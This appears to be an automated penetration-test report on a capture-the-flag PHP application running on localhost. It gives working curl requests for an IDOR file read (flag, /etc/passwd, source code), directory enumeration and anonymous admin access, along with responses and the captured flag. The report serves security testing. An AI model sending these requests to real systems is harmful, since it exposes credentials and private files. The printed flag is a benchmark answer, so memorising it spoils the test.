# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Arbitrary File Read via Insecure Direct Object Reference (IDOR)

**Summary:**
- **Vulnerable location:** `GET /private.php?file=<path>` endpoint at `/src/private.php:49`
- **Overview:** Unauthenticated arbitrary file read vulnerability allowing extraction of the flag file, system files, and application source code through direct manipulation of the file path parameter
- **Impact:** Complete confidentiality breach - extracted flag value, accessed system configuration files (/etc/passwd), and disclosed application source code without any authentication
- **Severity:** Critical

**Prerequisites:**
None - No authentication, session, or credentials required

**Exploitation Steps:**

1. **Extract the flag file (PRIMARY OBJECTIVE - FLAG CAPTURED):**
```bash
curl "http://localhost:39297/private.php?file=xbow-flag.txt"
```

**Response:**
```
HTTP/1.1 200 OK
Date: Thu, 30 Oct 2025 01:23:13 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Type: text/html; charset=UTF-8

[... HTML content ...]
<h2>Content of xbow-flag.txt</h2>
<pre>FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}
</pre>
```

**Flag Value:** `FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}`

2. **Demonstrate path traversal to read system files:**
```bash
curl "http://localhost:39297/private.php?file=/etc/passwd"
```

**Response Extract:**
```
<h2>Content of /etc/passwd</h2>
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... additional system users ...]
</pre>
```

3. **Demonstrate source code disclosure:**
```bash
curl "http://localhost:39297/private.php?file=login.php"
```

**Response:** Successfully retrieved complete PHP source code of login.php, exposing application logic and structure

**Proof of Impact:**
- **Flag Captured:** Successfully extracted flag value `FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}` in a single HTTP GET request
- **System File Access:** Read /etc/passwd demonstrating unauthorized access to sensitive system configuration
- **Source Code Disclosure:** Retrieved application source code (login.php) exposing implementation details
- **No Authorization Bypass Required:** Zero authentication or authorization checks - direct anonymous access to sensitive files

**Technical Details:**
- **Vulnerable Code Path:** User input from `$_GET['file']` flows directly to `file_get_contents()` at line 49 without any authorization validation
- **Missing Controls:** No authentication check, no ownership validation, no path whitelist, no basename() enforcement, no realpath() canonicalization
- **.htaccess Bypass:** While `.htaccess` blocks direct HTTP GET to `xbow-flag.txt`, the PHP `file_get_contents()` function operates server-side and bypasses Apache access controls entirely

**Notes:**
This is a textbook Insecure Direct Object Reference (IDOR) vulnerability where the object identifier is a file path. The horizontal authorization failure allows any anonymous user to access files belonging to any "user" (in this case, system files and application files). The vulnerability also enables Server-Side Request Forgery (SSRF) via URL wrappers if `allow_url_fopen` is enabled.

---

### AUTHZ-VULN-02: Unauthenticated Directory Enumeration

**Summary:**
- **Vulnerable location:** `GET /private.php?action=<any_truthy_value>` endpoint at `/src/private.php:29`
- **Overview:** Unauthenticated directory listing vulnerability exposing complete application structure and revealing the existence of the flag file
- **Impact:** Information disclosure - revealed all application files including flag file location, configuration files, and infrastructure details
- **Severity:** High

**Prerequisites:**
None - No authentication, session, or credentials required

**Exploitation Steps:**

1. **Enumerate directory contents:**
```bash
curl "http://localhost:39297/private.php?action=1"
```

**Response Extract:**
```html
<table>
  <tr><th>System Files:</th></tr>
  <tr><td>.htaccess</td></tr>
  <tr><td>Dockerfile</td></tr>
  <tr><td>about.php</td></tr>
  <tr><td>contact.php</td></tr>
  <tr><td>home.php</td></tr>
  <tr><td>images</td></tr>
  <tr><td>index.php</td></tr>
  <tr><td>login.php</td></tr>
  <tr><td>private.php</td></tr>
  <tr><td>style.css</td></tr>
  <tr><td>xbow-flag.txt</td></tr>
</table>
```

2. **Alternative parameter values (any truthy value works):**
```bash
curl "http://localhost:39297/private.php?action=yes"
curl "http://localhost:39297/private.php?action=true"
curl "http://localhost:39297/private.php?action=anything"
```

All variations successfully trigger directory enumeration.

**Proof of Impact:**
- **Complete File Listing:** Successfully enumerated all 11 files/directories in `/var/www/html/`
- **Flag File Discovery:** Revealed existence of `xbow-flag.txt` file (critical for chaining with AUTHZ-VULN-01)
- **Configuration Exposure:** Discovered `.htaccess` and `Dockerfile` files revealing security configurations and infrastructure
- **Application Structure Mapping:** Identified all PHP endpoints and application components
- **No Authorization Required:** Direct anonymous access to administrative directory listing functionality

**Technical Details:**
- **Vulnerable Code Path:** Parameter existence check `if ($action)` at line 28 is a boolean/truthy check, NOT an authorization check - any non-empty value triggers `scandir('.')` at line 29
- **Missing Controls:** No authentication check, no role verification, no session validation before exposing filesystem structure
- **Attack Surface:** This vulnerability significantly reduces the difficulty of exploiting AUTHZ-VULN-01 by revealing the exact filename of the flag

**Notes:**
This is a horizontal authorization vulnerability classified as information disclosure. While less severe than arbitrary file read, it provides critical reconnaissance information enabling other attacks. The vulnerability demonstrates missing authorization on what should be admin-only directory listing functionality.

---

### AUTHZ-VULN-03: Vertical Privilege Escalation (Anonymous Access to Administrative Functions)

**Summary:**
- **Vulnerable location:** `GET /private.php` endpoint (entire endpoint from `/src/private.php:24` onwards)
- **Overview:** Complete absence of role-based access control allowing anonymous users (lowest privilege) to perform administrative file operations (highest privilege)
- **Impact:** Vertical privilege escalation from anonymous to administrator - unauthorized access to administrative file operations without any authentication
- **Severity:** Critical

**Prerequisites:**
None - No authentication, session, or credentials required

**Exploitation Steps:**

1. **Access administrative endpoint as anonymous user:**
```bash
curl -i "http://localhost:39297/private.php?action=1"
```

**Response Headers:**
```
HTTP/1.1 200 OK
Date: Thu, 30 Oct 2025 01:24:00 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Type: text/html; charset=UTF-8
```

Note: No `Set-Cookie` header present - no session required or established

2. **Verify no authentication headers required:**
```bash
curl -v "http://localhost:39297/private.php" 2>&1 | grep -E "(Cookie:|Authorization:)"
```

**Result:** No authentication headers found in request or response - completely unauthenticated access

3. **Perform administrative operations (file operations):**
```bash
# Administrative operation 1: Directory listing
curl "http://localhost:39297/private.php?action=1"

# Administrative operation 2: File reading
curl "http://localhost:39297/private.php?file=xbow-flag.txt"
```

Both operations succeed with HTTP 200 OK, proving administrative functionality is accessible to anonymous users.

**Proof of Impact:**
- **Zero Authentication Required:** Successfully accessed `/private.php` endpoint without any credentials, session tokens, or authentication headers
- **Administrative Functionality Accessible:** Performed file operations (directory listing, file reading) that should be restricted to administrators
- **Complete Role Bypass:** Anonymous users (privilege level 0) can execute functionality intended for administrators (privilege level 100)
- **No Session Management:** No session cookies set or required, confirming complete absence of authentication layer

**Technical Details:**
- **Missing Role Checks:** Entire `/private.php` endpoint (lines 24-56) contains ZERO role verification, admin checks, or privilege validation
- **No Entry Point Guard:** No authentication middleware or guard function protects the endpoint before allowing access to administrative operations
- **Flat Privilege Model:** Application has no role hierarchy - everyone is treated as anonymous with full administrative access (paradoxically, anonymous = admin)
- **Endpoint Naming Convention Ignored:** Despite "private" naming suggesting restricted access, no access controls are implemented

**Attack Chain:**
This vertical privilege escalation combines with AUTHZ-VULN-01 and AUTHZ-VULN-02 to demonstrate complete authorization failure:
1. Anonymous user accesses `/private.php` (no authentication required)
2. Anonymous user performs admin directory listing (no role check)
3. Anonymous user reads arbitrary files including flag (no ownership validation)

**Notes:**
This vulnerability represents a fundamental architectural failure where administrative functionality is exposed without any authentication or authorization layer. In a properly designed system, `/private.php` would require admin role verification at the entry point before allowing any file operations. The complete absence of role-based access control (RBAC) makes this a critical vertical privilege escalation vulnerability.

---

## Exploitation Summary

**Total Vulnerabilities in Queue:** 3  
**Successfully Exploited:** 3  
**Potential (Blocked):** 0  
**False Positives:** 0

**Key Achievement:**
- **FLAG CAPTURED:** `FLAG{fed272109f3f3daf5817979ad8e11cc67110220e7cbb1a1d5e276b283c62cdcd}`

**Overall Impact:**
All three authorization vulnerabilities were successfully exploited without requiring any authentication, demonstrating a complete failure of the application's authorization architecture. The vulnerabilities enable:
- Flag extraction via arbitrary file read (AUTHZ-VULN-01)
- Application structure reconnaissance via directory enumeration (AUTHZ-VULN-02)
- Vertical privilege escalation from anonymous to admin (AUTHZ-VULN-03)

**Root Cause:**
Complete absence of authentication and authorization controls in the `/private.php` endpoint. No session management, no role hierarchy, no permission checks, and no ownership validation exist anywhere in the application.

**CVSS Assessment:**
- **AUTHZ-VULN-01:** 9.1 (Critical) - Network exploitable, no privileges required, high confidentiality impact
- **AUTHZ-VULN-02:** 5.3 (Medium) - Information disclosure, aids other attacks
- **AUTHZ-VULN-03:** 9.1 (Critical) - Complete privilege escalation, administrative access without authentication
